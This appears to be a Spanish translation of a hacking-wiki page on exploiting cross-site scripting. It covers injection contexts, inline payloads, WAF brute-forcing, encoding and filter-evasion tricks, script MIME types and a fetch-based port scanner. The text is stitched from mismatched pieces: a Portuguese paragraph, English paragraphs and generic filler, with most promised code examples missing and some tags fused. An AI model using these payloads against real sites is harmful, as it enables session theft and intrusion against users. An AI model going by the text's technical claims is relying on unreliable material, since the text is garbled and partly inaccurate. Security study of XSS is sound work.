**Consejo de recompensa por errores**: ¡**Regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**! ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
1. Verifica si **cualquier valor que controles** (_parámetros_, _ruta_, _encabezados_?, _cookies_?) se está **reflejando** en el HTML o se está utilizando en el código **JS**.
4. ¿El contenido HTML se interpreta mediante algún motor JS del lado del cliente (_AngularJS_, _VueJS_, _Mavo_...)? Podrías abusar de una [**Inyección de Plantillas del Lado del Cliente**](../client-side-template-injection-csti.md).
5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿puedes abusar de una [**Inyección de Marcado Colgante - Inyección de HTML sin script**](../dangling-markup-html-scriptless-injection/)?
* **Reflejado intermedio**: Si descubres que el valor de un parámetro o incluso la ruta se está reflejando en la página web, podrías explotar un **XSS Reflejado**.
* **Almacenado y reflejado**: Si descubres que un valor controlado por ti se guarda en el servidor y se refleja cada vez que accedes a una página, podrías explotar un **XSS Almacenado**.
* **Accedido mediante JS**: Si descubres que se accede a un valor controlado por ti mediante JS, podrías explotar un **DOM XSS**.
Cuando intentas explotar un XSS, lo primero que debes saber es **dónde se está reflejando tu entrada**. Dependiendo del contexto, podrás ejecutar código JS arbitrario de diferentes formas.
Si tu entrada se **refleja en el HTML sin procesar** de la página, deberás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas etiquetas HTML posibles que podrías usar.\
1.**Escapar del atributo y de la etiqueta** (luego estarás en el HTML sin procesar) y crear una nueva etiqueta HTML para abusar de ella: `"><img [...]`
2. Si **puedes escapar del atributo pero no de la etiqueta** (`>` está codificado o eliminado), según la etiqueta, podrías **crear un evento** que ejecute código JS: `" autofocus onfocus=alert(1) x="`
3. Si **no puedes escapar del atributo** (`"` se está codificando o eliminando), entonces, según **qué atributo** refleje tu valor y **si controlas todo el valor o solo una parte**, podrás abusar de él. Por **ejemplo**, si controlas un evento como `onclick=`, podrás hacer que ejecute código arbitrario cuando se haga clic en él. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
4. Si tu entrada se refleja dentro de etiquetas "**no explotables**", podrías intentar el truco de **`accesskey`** para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotar esto): **`" accesskey="x" onclick="alert(1)" x="`**
En este caso, tu entrada se refleja entre las etiquetas **`<script> [...] </script>`** de una página HTML, dentro de un archivo `.js` o dentro de un atributo que utiliza el protocolo **`javascript:`**:
* Si se refleja entre las etiquetas **`<script> [...] </script>`**, incluso si tu entrada está dentro de cualquier tipo de comillas, puedes intentar inyectar `</script>` y escapar de este contexto. Esto funciona porque el **navegador primero analizará las etiquetas HTML** y luego el contenido, por lo tanto, no se dará cuenta de que tu etiqueta `</script>` inyectada está dentro del código HTML.
* Si se refleja **dentro de una cadena JS** y el último truco no funciona, deberás **salir** de la cadena, **ejecutar** tu código y **reconstruir** el código JS (si hay algún error, no se ejecutará):
*`'-alert(1)-'`
*`';-alert(1)//`
*`\';alert(1)//`
* Si se refleja dentro de literales de plantilla, puedes **incrustar expresiones JS** utilizando la sintaxis `${ ... }`: `` var greetings = `Hola, ${alert(1)}` ``
Por lo tanto, si tienes escenarios en los que puedes **inyectar código JS después de que se utiliza un objeto no declarado**, puedes **solucionar la sintaxis** declarándolo (para que tu código se ejecute en lugar de generar un error):
Para obtener más información sobre el Hoisting de JavaScript, consulta: [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios)
Varias páginas web tienen puntos finales que **aceptan como parámetro el nombre de la función a ejecutar**. Un ejemplo común que se encuentra en la práctica es algo como: `?callback=callbackFunc`.
Una buena manera de descubrir si algo proporcionado directamente por el usuario está tratando de ser ejecutado es **modificar el valor del parámetro** (por ejemplo, a 'Vulnerable') y buscar en la consola errores como:
En caso de que sea vulnerable, podrías ser capaz de **activar una alerta** simplemente enviando el valor: **`?callback=alert(1)`**. Sin embargo, es muy común que estos puntos finales **validen el contenido** para permitir solo letras, números, puntos y guiones bajos (**`[\w\._]`**).
Sin embargo, incluso con esa limitación, aún es posible realizar algunas acciones. Esto se debe a que puedes usar esos caracteres válidos para **acceder a cualquier elemento en el DOM**:
Sin embargo, por lo general, los puntos finales que ejecutan la función indicada son puntos finales sin mucho DOM interesante, **otras páginas en la misma origen** tendrán un DOM **más interesante** para realizar más acciones.
Por lo tanto, con el fin de **abusar de esta vulnerabilidad en un DOM diferente**, se desarrolló la explotación de **Same Origin Method Execution (SOME)**:
Hay **código JS** que está utilizando de manera **insegura** algunos **datos controlados por un atacante** como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario.
Este tipo de XSS se puede encontrar **en cualquier lugar**. No dependen solo de la explotación del cliente de una aplicación web, sino de **cualquier****contexto**. Este tipo de **ejecución arbitraria de JavaScript** incluso se puede abusar para obtener **RCE**, **leer****archivos****arbitrarios** en clientes y servidores, y más.\
Cuando tu entrada se refleja **dentro de la página HTML** o puedes escapar e inyectar código HTML en este contexto, lo **primero** que debes hacer es verificar si puedes abusar de `<` para crear nuevas etiquetas: simplemente intenta **reflejar** ese **carácter** y verifica si está siendo **codificado en HTML** o **eliminado** o si se **refleja sin cambios**. **Solo en el último caso podrás explotar este caso**.\
Para estos casos, también **ten en cuenta** [**Inyección de Plantillas en el Lado del Cliente (Client Side Template Injection)**](../client-side-template-injection-csti.md)**.**\
Pero, si se está utilizando una lista negra/blanca de etiquetas/atributos, deberás **realizar un ataque de fuerza bruta para determinar qué etiquetas** puedes crear.\
Una vez que hayas **localizado qué etiquetas están permitidas**, deberás realizar un ataque de fuerza bruta para encontrar atributos/eventos dentro de las etiquetas válidas y ver cómo puedes atacar el contexto.
Ve a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) y haz clic en _**Copiar etiquetas al portapapeles**_. Luego, envíalas todas utilizando Burp Intruder y verifica si alguna etiqueta no fue detectada como maliciosa por el WAF. Una vez que hayas descubierto qué etiquetas puedes usar, puedes **realizar un ataque de fuerza bruta a todos los eventos** utilizando las etiquetas válidas (en la misma página web, haz clic en _**Copiar eventos al portapapeles**_ y sigue el mismo procedimiento que antes).
Si no encontraste ninguna etiqueta HTML válida, puedes intentar **crear una etiqueta personalizada** y ejecutar código JS con el atributo `onfocus`. En la solicitud XSS, debes terminar la URL con `#` para que la página **se enfoque en ese objeto** y **ejecute** el código:
**Más XSS pequeños para diferentes entornos** se pueden encontrar [**aquí**](https://github.com/terjanq/Tiny-XSS-Payloads) y [**aquí**](https://tinyxss.terjanq.me).
Si para explotar la vulnerabilidad necesitas que el **usuario haga clic en un enlace o un formulario** con datos prellenados, puedes intentar [**abusar del Clickjacking**](../clickjacking.md#xss-clickjacking) (si la página es vulnerable).
Si crees que **es imposible crear una etiqueta HTML con un atributo para ejecutar código JS**, deberías revisar [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) porque podrías **explotar** la vulnerabilidad **sin** ejecutar código **JS**.
Si estás **dentro de una etiqueta HTML**, lo primero que puedes intentar es **escapar** de la etiqueta y utilizar algunas de las técnicas mencionadas en la [sección anterior](./#injecting-inside-raw-html) para ejecutar código JS.\
Si **no puedes escapar de la etiqueta**, puedes crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo utilizando una carga útil como (_ten en cuenta que en este ejemplo se utilizan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta_):
Los eventos de estilo son una técnica comúnmente utilizada en ataques de XSS (Cross-Site Scripting) para ejecutar código malicioso en un sitio web. Estos eventos se aprovechan de la capacidad de los navegadores web para interpretar y ejecutar código JavaScript dentro de etiquetas HTML.
Los eventos de estilo se basan en la idea de que los navegadores web pueden interpretar ciertos atributos de estilo como código JavaScript. Al aprovechar esto, un atacante puede insertar código malicioso en un atributo de estilo y lograr que se ejecute cuando se activa un evento específico, como hacer clic en un enlace o pasar el cursor sobre un elemento.
Un ejemplo común de un evento de estilo es el uso del atributo "onmouseover". Al insertar código JavaScript en este atributo, el atacante puede lograr que se ejecute cuando el usuario pasa el cursor sobre un elemento en particular. Esto puede permitir al atacante robar información confidencial, redirigir al usuario a sitios maliciosos o realizar otras acciones no deseadas.
Es importante tener en cuenta que los eventos de estilo son solo una de las muchas técnicas utilizadas en ataques de XSS. Los desarrolladores web deben implementar medidas de seguridad adecuadas, como la validación y el filtrado de entrada de usuario, para proteger sus aplicaciones contra este tipo de ataques.
Incluso si **no puedes escapar del atributo** (`"` se está codificando o eliminando), dependiendo de **qué atributo** se refleje tu valor y si controlas todo el valor o solo una parte, podrás abusar de ello. Por **ejemplo**, si controlas un evento como `onclick=`, podrás hacer que se ejecute código arbitrario cuando se haga clic en él.\
Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
Los caracteres **codificados en HTML** dentro del valor de los atributos de las etiquetas HTML se **decodifican en tiempo de ejecución**. Por lo tanto, algo como lo siguiente será válido (la carga útil está en negrita): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
Ten en cuenta que **cualquier tipo de codificación HTML es válida**:
A codificação Unicode pode ser usada para contornar eventos internos em ataques de Cross-Site Scripting (XSS). Ao codificar os caracteres especiais em suas representações Unicode, é possível evitar a detecção de filtros de entrada e executar código malicioso.
É importante ressaltar que a codificação Unicode pode variar dependendo do contexto e da linguagem de programação utilizada. Portanto, é necessário adaptar a codificação de acordo com o ambiente específico em que o ataque está sendo realizado.
Além disso, é fundamental lembrar que a exploração de vulnerabilidades de XSS é ilegal, a menos que seja realizada em um ambiente controlado e com permissão explícita do proprietário do sistema.
Allí puedes usar los protocolos **`javascript:`** o **`data:`** en algunos lugares para **ejecutar código JS arbitrario**. Algunos requerirán interacción del usuario y otros no.
**En general**, el protocolo `javascript:` se puede **utilizar en cualquier etiqueta que acepte el atributo `href`** y en **la mayoría** de las etiquetas que aceptan el **atributo `src`** (pero no `<img`).
_**En este caso, la codificación HTML y el truco de codificación Unicode de la sección anterior también son válidos, ya que estás dentro de un atributo.**_
Además, hay otro **truco interesante** para estos casos: **Incluso si tu entrada dentro de `javascript:...` está siendo codificada en URL, será decodificada antes de ser ejecutada.** Así que, si necesitas **escapar** de la **cadena** usando una **comilla simple** y ves que **está siendo codificada en URL**, recuerda que **no importa**, será **interpretada** como una **comilla simple** durante el **tiempo de ejecución**.
Ten en cuenta que si intentas **usar ambos**`URLencode + HTMLencode` en cualquier orden para codificar la **carga útil**, no funcionará, pero puedes **mezclarlos dentro de la carga útil**.
Puedes usar la codificación **hexadecimal** y **octal** dentro del atributo `src` de `iframe` (al menos) para declarar **etiquetas HTML para ejecutar JS**:
Reverse tab nabbing is a type of cross-site scripting (XSS) attack that targets users who have multiple tabs open in their web browser. The attack takes advantage of the trust users have in the websites they visit.
When a user clicks on a link on a malicious website, a new tab is opened in the browser. The malicious website then uses JavaScript to change the content of the original tab, making it look like a legitimate website. This can trick the user into entering sensitive information, such as login credentials or credit card details, into the fake tab.
To protect against reverse tab nabbing, users should be cautious when clicking on links, especially from untrusted sources. It is also recommended to keep browser extensions and plugins up to date, as they can help detect and block malicious scripts.
Pentesters can test for reverse tab nabbing by creating a malicious website and attempting to trick users into entering sensitive information. This can help identify vulnerabilities and provide recommendations for improving security.
Si puedes inyectar cualquier URL en una etiqueta **`<a href=`** arbitraria que contenga los atributos **`target="_blank"`** y **`rel="opener"`**, verifica la **siguiente página para explotar este comportamiento**:
En primer lugar, verifica esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener información útil sobre los **manejadores de eventos "on"**.\
Desde [**aquí**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ahora es posible abusar de los inputs ocultos con:**
<buttonpopovertarget="newsletter">Subscribe to newsletter</button>
<divpopoverid="newsletter">Newsletter popup</div>
```
Desde [**aquí**](https://portswigger.net/research/xss-in-hidden-input-fields): Puedes ejecutar una **carga útil XSS dentro de un atributo oculto**, siempre y cuando puedas **persuadir** a la **víctima** para que presione la **combinación de teclas**. En Firefox Windows/Linux, la combinación de teclas es **ALT+SHIFT+X** y en OS X es **CTRL+ALT+X**. Puedes especificar una combinación de teclas diferente utilizando una tecla diferente en el atributo de clave de acceso. Aquí está el vector:
Si encuentras un **XSS en una parte muy pequeña** de la web que requiere algún tipo de interacción (tal vez un pequeño enlace en el pie de página con un elemento onmouseover), puedes intentar **modificar el espacio que ocupa ese elemento** para maximizar las probabilidades de que se active el enlace.
Este truco fue tomado de [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
En este caso, tu **entrada** se va a **reflejar dentro del código JS** de un archivo `.js` o entre las etiquetas `<script>...</script>` o entre eventos HTML que pueden ejecutar código JS o entre atributos que aceptan el protocolo `javascript:`.
Si tu código se inserta dentro de `<script> [...] var input = 'datos reflejados' [...] </script>`, puedes **escapar cerrando la etiqueta `<script>`** fácilmente:
Ten en cuenta que en este ejemplo **ni siquiera hemos cerrado la comilla simple**, pero eso no es necesario ya que el **navegador primero realiza el análisis HTML** para identificar los elementos de la página, incluidos los bloques de script, y solo más tarde realiza el análisis de JavaScript para comprender y ejecutar los scripts incrustados.
Si `<>` están siendo sanitizados, aún puedes **escapar la cadena** donde se encuentra tu entrada y **ejecutar JS arbitrario**. Es importante **corregir la sintaxis de JS**, porque si hay algún error, el código JS no se ejecutará:
Para construir **cadenas de texto** aparte de las comillas simples y dobles, JS también acepta **acentos graves****` `` `**. Esto se conoce como literales de plantilla, ya que permiten **incrustar expresiones JS** utilizando la sintaxis `${ ... }`.\
Por lo tanto, si descubres que tu entrada se está **reflejando** dentro de una cadena de texto JS que utiliza acentos graves, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**:
Cross-site scripting (XSS) es una vulnerabilidad común en aplicaciones web que permite a los atacantes inyectar y ejecutar código malicioso en el navegador de un usuario. Una forma común de explotar esta vulnerabilidad es a través de la ejecución de código codificado.
La ejecución de código codificado implica la manipulación de datos de entrada para que se interpreten como código en lugar de texto normal. Esto se logra utilizando técnicas de codificación, como la codificación HTML o la codificación de URL, para ocultar el código malicioso dentro de los datos de entrada.
Cuando el servidor web recibe los datos de entrada codificados, los decodifica y los muestra en el navegador del usuario sin realizar ninguna validación o filtrado adecuado. Como resultado, el código malicioso se ejecuta en el contexto del sitio web vulnerable, lo que permite al atacante robar información confidencial, realizar acciones no autorizadas o incluso tomar el control total del sitio web.
Para explotar esta vulnerabilidad, el atacante debe encontrar un punto de entrada en la aplicación web donde pueda inyectar código malicioso. Esto puede ser a través de campos de entrada de usuario, como formularios de inicio de sesión o campos de comentarios, o mediante parámetros de URL.
Una vez que se encuentra un punto de entrada, el atacante puede comenzar a codificar el código malicioso para evitar la detección y la filtración. Por ejemplo, puede codificar caracteres especiales como "<" o ">" en su equivalente HTML "<" o ">", o codificar todo el código utilizando la codificación de URL.
Una vez que el código malicioso se ha codificado, se inyecta en el punto de entrada y se envía al servidor web. El servidor web decodifica los datos de entrada y los muestra en el navegador del usuario sin realizar ninguna validación o filtrado adecuado. Como resultado, el código malicioso se ejecuta en el contexto del sitio web vulnerable.
Para protegerse contra la ejecución de código codificado, es importante implementar medidas de seguridad adecuadas, como la validación y el filtrado de datos de entrada, la codificación adecuada de salida y el uso de bibliotecas y marcos de trabajo seguros. Además, mantenerse actualizado con los últimos parches y actualizaciones de seguridad también es fundamental para protegerse contra las vulnerabilidades conocidas.
La codificación Unicode es una técnica utilizada en ataques de Cross-Site Scripting (XSS) para ejecutar código JavaScript en un sitio web vulnerable.
En este tipo de ataque, el objetivo es aprovechar la forma en que el navegador interpreta y muestra los caracteres Unicode para engañarlo y ejecutar código malicioso.
El proceso implica codificar el código JavaScript en una secuencia de caracteres Unicode y luego inyectarla en un campo vulnerable del sitio web. Cuando el navegador interpreta esta secuencia, ejecuta el código JavaScript incrustado.
Este tipo de ataque puede ser utilizado para robar información confidencial, como credenciales de usuario, o para realizar acciones maliciosas en el sitio web, como redirigir a los usuarios a páginas falsas o realizar cambios no autorizados en el contenido.
Es importante tener en cuenta que la codificación Unicode no es una técnica exclusiva de XSS, y puede ser utilizada en otros contextos para evadir filtros de seguridad y ejecutar código malicioso. Por lo tanto, es fundamental implementar medidas de seguridad adecuadas, como la validación y sanitización de entradas de usuario, para prevenir este tipo de ataques.
En algunos casos, cuando se realiza una inyección de código JavaScript en un sitio web, es posible que se necesite realizar sustituciones de espacio para evitar que el código sea bloqueado o filtrado por los mecanismos de seguridad del sitio. Esto se debe a que algunos filtros de seguridad pueden detectar y bloquear ciertos patrones de código, incluyendo espacios en blanco.
Una técnica común para realizar estas sustituciones de espacio es utilizar diferentes métodos para representar un espacio en blanco en el código JavaScript. Algunos ejemplos de estas sustituciones incluyen:
Estas sustituciones de espacio pueden ayudar a evitar la detección y bloqueo del código inyectado, permitiendo que se ejecute correctamente en el sitio web objetivo. Sin embargo, es importante tener en cuenta que estas técnicas pueden variar dependiendo del contexto y de las medidas de seguridad implementadas en el sitio web objetivo. Por lo tanto, es fundamental realizar pruebas exhaustivas y adaptar las sustituciones de espacio según sea necesario.
Los espacios en blanco en JavaScript se refieren a los caracteres que no son visibles, como los espacios, las tabulaciones y los saltos de línea. Aunque estos caracteres generalmente no afectan el funcionamiento del código, pueden ser explotados en ataques de Cross-Site Scripting (XSS).
El XSS es una vulnerabilidad que permite a un atacante insertar código malicioso en una página web, que luego se ejecuta en el navegador de los usuarios. Los espacios en blanco pueden ser utilizados en combinación con otras técnicas de XSS para evadir los filtros de seguridad y ejecutar código no deseado.
- **XSS de tipo reflejado**: el código malicioso se inyecta en la URL de una página web y se refleja en el contenido de la página. Los espacios en blanco pueden ser utilizados para ocultar el código malicioso y evitar su detección.
- **XSS de tipo almacenado**: el código malicioso se almacena en una base de datos y se muestra a los usuarios cuando acceden a una página web específica. Los espacios en blanco pueden ser utilizados para ocultar el código y evitar que sea detectado por los filtros de seguridad.
Para protegerse contra los ataques de XSS que involucran espacios en blanco, es importante implementar medidas de seguridad adecuadas, como la validación y el filtrado de entrada de usuario, la codificación adecuada de salida y el uso de bibliotecas y marcos de trabajo seguros.
Recuerde que la seguridad de una aplicación web es un proceso continuo y debe ser abordada desde el diseño y desarrollo inicial, hasta las pruebas de penetración regulares para identificar y corregir posibles vulnerabilidades.
Cuando se trata de encontrar vulnerabilidades de Cross-Site Scripting (XSS), es importante tener en cuenta que el código JavaScript también puede estar oculto dentro de comentarios en el código fuente de una página web. Los comentarios en HTML se definen entre `<!--` y `-->`, y a menudo se utilizan para proporcionar información adicional sobre el código.
Los atacantes pueden aprovechar esta técnica para insertar código JavaScript malicioso dentro de un comentario en una página web vulnerable. Si el sitio web no tiene una protección adecuada contra XSS, este código puede ejecutarse cuando un usuario visita la página y permitir que el atacante robe información confidencial o realice acciones no autorizadas en nombre del usuario.
Es importante tener en cuenta que los comentarios en HTML no se muestran en la página web, por lo que el código JavaScript dentro de un comentario no es visible para los usuarios normales. Sin embargo, los navegadores aún interpretarán y ejecutarán este código, lo que lo convierte en una vulnerabilidad potencial.
Para protegerse contra este tipo de ataque, es fundamental implementar medidas de seguridad adecuadas, como la validación y el filtrado de entrada de usuario, así como el uso de funciones de escape apropiadas al mostrar datos en la página web.
En algunos casos, es posible ejecutar código JavaScript sin utilizar paréntesis. Esto se debe a que JavaScript permite llamar a una función sin utilizar paréntesis si no se le pasan argumentos.
En este caso, estamos llamando a la función `alert` sin utilizar paréntesis. Esto funciona porque no estamos pasando ningún argumento a la función `alert`.
Sin embargo, es importante tener en cuenta que esta técnica solo funciona en ciertos casos específicos y puede no ser compatible con todos los navegadores y versiones de JavaScript. Por lo tanto, se recomienda utilizar paréntesis al llamar a funciones en la mayoría de los casos para garantizar la compatibilidad y la legibilidad del código.
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
Hay **código JS** que está utilizando **datos controlados por un atacante de manera insegura**, como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario.\
**Debido a la extensión de la explicación de** [**las vulnerabilidades DOM, se movió a esta página**](dom-xss.md)**:**
Allí encontrarás una **explicación detallada de qué son las vulnerabilidades DOM, cómo se provocan y cómo explotarlas**.\
Además, no olvides que **al final del mencionado artículo** puedes encontrar una explicación sobre [**los ataques de Clobbering DOM**](dom-xss.md#dom-clobbering).
Puedes verificar si los **valores reflejados** están siendo **normalizados en Unicode** en el servidor (o en el lado del cliente) y abusar de esta funcionalidad para evadir protecciones. [**Encuentra un ejemplo aquí**](../unicode-injection/#xss-cross-site-scripting).
Debido a la asignación masiva de RoR, las comillas se insertan en el HTML y luego se omite la restricción de comillas y se pueden agregar campos adicionales (onfocus) dentro de la etiqueta.\
Por ejemplo, en este [informe](https://hackerone.com/reports/709336), si envías la carga útil:
Si descubres que puedes **inyectar encabezados en una respuesta de redirección 302**, puedes intentar **hacer que el navegador ejecute JavaScript arbitrario**. Esto no es trivial, ya que los navegadores modernos no interpretan el cuerpo de la respuesta HTTP si el código de estado de la respuesta HTTP es 302, por lo que una carga útil de scripting entre sitios no sirve de nada.
En [**este informe**](https://www.gremwell.com/firefox-xss-302) y [**este otro**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puedes leer cómo puedes probar varios protocolos dentro del encabezado de ubicación y ver si alguno de ellos permite que el navegador inspeccione y ejecute la carga útil de XSS dentro del cuerpo.\
Si puedes indicar la **función de devolución de llamada** que JavaScript va a **ejecutar** limitada a esos caracteres. [**Lee esta sección de esta publicación**](./#javascript-function) para descubrir cómo abusar de este comportamiento.
(De [**aquí**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Si intentas cargar un script con un **tipo de contenido** como `application/octet-stream`, Chrome mostrará el siguiente error:
> Se ha denegado la ejecución de un script desde '[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') porque su tipo MIME ('application/octet-stream') no es ejecutable y la comprobación estricta del tipo MIME está habilitada.
Los únicos **tipos de contenido** que Chrome admitirá para ejecutar un script cargado son aquellos que se encuentran dentro de la constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
(De [**aquí**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Entonces, ¿qué tipos podrían indicarse para cargar un script?
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles es una característica que te permite empaquetar un conjunto de datos (HTML, CSS, JS...) en un archivo **`.wbn`**.
Este comportamiento fue utilizado en [**este informe**](https://github.com/zwade/yaca/tree/master/solution) para remapear una biblioteca a eval y abusar de ella para desencadenar XSS.
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Esta característica se utiliza principalmente para resolver algunos problemas causados por la pre-renderización. Funciona de la siguiente manera:
(De [**aquí**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Los siguientes tipos de contenido pueden ejecutar XSS en todos los navegadores:
* text/html
* application/xhtml+xml
* application/xml
* text/xml
* image/svg+xml
* text/plain (?? no está en la lista, pero creo que lo vi en un CTF)
En otros navegadores se pueden utilizar otros **`tipos de contenido`** para ejecutar JS arbitrario, consulta: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
Cuando se utiliza algo como **`"some {{template}} data".replace("{{template}}", <user_input>)`**, el atacante podría utilizar [**reemplazos especiales de cadenas**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) para intentar evadir algunas protecciones: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
Por ejemplo, en [**este informe**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), esto se utilizó para **escapar una cadena JSON** dentro de un script y ejecutar código arbitrario.
Si **todo está indefinido** antes de ejecutar código no confiable (como en [**este informe**](https://blog.huli.tw/2022/02/08/es/lo-que-aprendi-de-dicectf-2022/#miscx2fundefined55-solves)), es posible generar objetos útiles "de la nada" para abusar de la ejecución de código no confiable arbitrario:
* Utilizando import()
```javascript
// although import "fs" doesn’t work, import('fs') does.
[De acuerdo a esto](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) los módulos son envueltos por Node.js dentro de una función, de esta manera:
Por lo tanto, si desde ese módulo podemos **llamar a otra función**, es posible utilizar `arguments.callee.caller.arguments[1]` desde esa función para acceder a **`require`**: 
De manera similar al ejemplo anterior, es posible **utilizar manejadores de errores** para acceder al **envoltorio** del módulo y obtener la función **`require`**:
* JSFuck más sofisticado: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
El XSS (Cross-Site Scripting) es una vulnerabilidad común en aplicaciones web que permite a los atacantes inyectar y ejecutar código malicioso en el navegador de un usuario. Esto puede llevar a ataques como robo de sesiones, phishing y redireccionamiento a sitios web maliciosos.
1.**Reflejado (Reflected XSS):** El código malicioso se inyecta a través de una URL y se refleja en la respuesta del servidor. Cuando el usuario hace clic en el enlace malicioso, el código se ejecuta en su navegador.
2.**Almacenado (Stored XSS):** El código malicioso se almacena en la base de datos de la aplicación web y se muestra a los usuarios cuando acceden a ciertas páginas o secciones. Esto puede ocurrir en comentarios, perfiles de usuario, mensajes de chat, etc.
3.**Basado en DOM (DOM-based XSS):** El código malicioso se ejecuta en el lado del cliente manipulando el DOM (Modelo de Objetos del Documento) de la página web. Esto ocurre cuando la aplicación web utiliza JavaScript para procesar datos no confiables sin realizar una adecuada validación o sanitización.
- **Validación y sanitización de datos:** Siempre se deben validar y sanitizar los datos de entrada antes de mostrarlos en la página web. Esto incluye la eliminación de caracteres especiales y la codificación de HTML.
- **Uso de encabezados de seguridad:** Configurar encabezados de seguridad como Content-Security-Policy (CSP) y X-XSS-Protection puede ayudar a mitigar los ataques XSS al restringir el origen y el tipo de contenido permitido en la página.
- **Escape adecuado de datos:** Al mostrar datos dinámicos en la página, es importante escapar correctamente los caracteres especiales para evitar la interpretación errónea como código HTML o JavaScript.
- **Implementación de mecanismos de autenticación y autorización:** Utilizar mecanismos de autenticación y autorización sólidos puede ayudar a prevenir ataques XSS al limitar el acceso a funciones sensibles de la aplicación.
- **Actualización y parcheo regular:** Mantener la aplicación web actualizada con las últimas correcciones de seguridad y parches es esencial para protegerse contra nuevas vulnerabilidades conocidas.
En este ejemplo, el valor del parámetro `nombre` se muestra directamente en la página sin ninguna validación o sanitización. Un atacante podría aprovechar esto para inyectar código malicioso en la URL y ejecutarlo en el navegador del usuario.
El XSS es una vulnerabilidad grave que puede tener consecuencias significativas para la seguridad de una aplicación web y sus usuarios. Es importante comprender cómo funciona el XSS y seguir las mejores prácticas de seguridad para prevenirlo.
No podrás acceder a las cookies desde JavaScript si la bandera HTTPOnly está establecida en la cookie. Pero aquí tienes [algunas formas de evadir esta protección](../hacking-with-cookies/#httponly) si tienes la suficiente suerte.
Durante una prueba de penetración, es posible que desees encontrar las direcciones IP internas de un sistema objetivo. Esto puede ser útil para identificar otros dispositivos en la red interna y para planificar ataques dirigidos.
Aquí hay algunas técnicas que puedes utilizar para encontrar las IPs internas:
1.**Ping Sweep**: Utiliza una herramienta como `nmap` para realizar un barrido de ping en un rango de direcciones IP. Esto te permitirá identificar qué direcciones IP están activas en la red.
2.**ARP Scanning**: Utiliza una herramienta como `arp-scan` para realizar un escaneo ARP en la red. Esto te permitirá obtener una lista de direcciones IP y las correspondientes direcciones MAC de los dispositivos en la red.
3.**DNS Lookup**: Realiza una búsqueda DNS inversa en un dominio para obtener las direcciones IP asociadas a ese dominio. Esto puede revelar direcciones IP internas utilizadas por el sistema objetivo.
El escáner de puertos es una herramienta utilizada para identificar los puertos abiertos en un sistema objetivo. Esta técnica es comúnmente utilizada en pruebas de penetración para descubrir posibles vulnerabilidades en un sistema.
El escáner de puertos "fetch" es una implementación específica de esta técnica que utiliza la función `fetch` en JavaScript para enviar solicitudes HTTP a diferentes puertos en el sistema objetivo. Al enviar solicitudes a diferentes puertos y analizar las respuestas recibidas, es posible determinar qué puertos están abiertos y disponibles para su uso.
El escáner de puertos "fetch" es una herramienta útil para los hackers éticos y los profesionales de la seguridad cibernética, ya que les permite identificar posibles puntos de entrada para ataques maliciosos. Sin embargo, es importante tener en cuenta que el uso de esta técnica sin el consentimiento del propietario del sistema objetivo puede ser ilegal y está estrictamente prohibido.
